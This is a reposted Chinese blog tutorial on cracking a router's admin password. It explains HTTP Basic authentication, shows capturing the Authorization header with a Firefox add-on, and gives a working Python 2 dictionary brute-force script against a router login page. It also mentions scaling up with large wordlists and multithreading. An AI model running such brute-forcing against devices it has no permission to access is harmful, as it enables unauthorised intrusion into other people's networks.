關於破解路由器密碼


http://daily.zhihu.com/story/3603866?utm_campaign=in_app_share&utm_medium=Android

先看看上面的那個文章

------------

Evi1m0大牛破解了路由器的連接密碼之后,又破解了路由器的管理登陸密碼,這個過程就是一筆帶過,在這里詳細的說一下。

首先說什么是http basic認證

在HTTP協議進行通信的過程中,HTTP協議定義了基本認證過程以允許HTTP服務器對WEB瀏覽器進行用戶身份證的方法,當一個客戶端向HTTP服務 器進行數據請求時,如果客戶端未被認證,則HTTP服務器將通過基本認證過程對客戶端的用戶名及密碼進行驗證,以決定用戶是否合法。客戶端在接收到HTTP服務器的身份認證要求后,會提示用戶輸入用戶名及密碼,然后將用戶名及密碼以BASE64加密,加密后的密文將附加於請求信息中, 如當用戶名為anjuta,密碼為:123456時,客戶端將用戶名和密碼用“:”合並,並將合並后的字符串用BASE64加密為密文,並於每次請求數據 時,將密文附加於請求頭(Request Header)中。HTTP服務器在每次收到請求包后,根據協議取得客戶端附加的用戶信息(BASE64加密的用戶名和密碼),解開請求包,對用戶名及密碼進行驗證,如果用 戶名及密碼正確,則根據客戶端請求,返回客戶端所需要的數據;否則,返回錯誤代碼或重新要求客戶端提供用戶名及密碼。

我們先抓包看看http頭是什么樣的。

我使用的是firefox + tamper data,首先是安裝這個插件。

https://addons.mozilla.org/zh-CN/firefox/addon/tamper-data/?src=search

安裝之后,按alt,就能顯示菜單欄了,工具 -- tamper data,

 

開路由器的登錄網址,我的是http://192.168.1.253 

點擊上面的start tamper,然后輸入賬號密碼,

點擊tamper,攔截這個請求,然后可以看到

 

看到Authorization這個了吧,后面跟的明顯是base64編碼的內容,我們解碼看看

 

這就是我們的賬號密碼中間加一個冒號,然后base64編碼。

基本原理明白了,我們就可以去寫程序破解了。

找一個賬號密碼字典,然后編碼,加到http頭,就是這個easy。

#coding:utf-8
import base64
import urllib2
password_dic = [["root", "root"], ["admin", "admin"], ["admin", "rootroot"]]
request = urllib2.Request('http://192.168.1.253')
#request.add_header('Authorization', 'Basic YWRtaW46cm9vdHJvb3Q=')
for item in password_dic:
    psw_base64 = "Basic " + base64.b64encode(item[0] + ":" + item[1])
    request.add_header('Authorization', psw_base64)
    try:
        response = urllib2.urlopen(request)
        print "Correct! Username: %s, password: %s" % (item[0], item[1])
        break
    except urllib2.HTTPError:
        print "Error!"

使用了python自帶的urllib2,上面password_dic就是自己隨便寫的,真正去破解的話,有很大的字典呢,而且多線程去跑。

request.add_header('Authorization', psw_base64)

就將我們構造的賬號密碼的http頭加進去了。


看到了吧,最后破解出密碼就是admin-rootroot。(你來攻擊我啊~)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM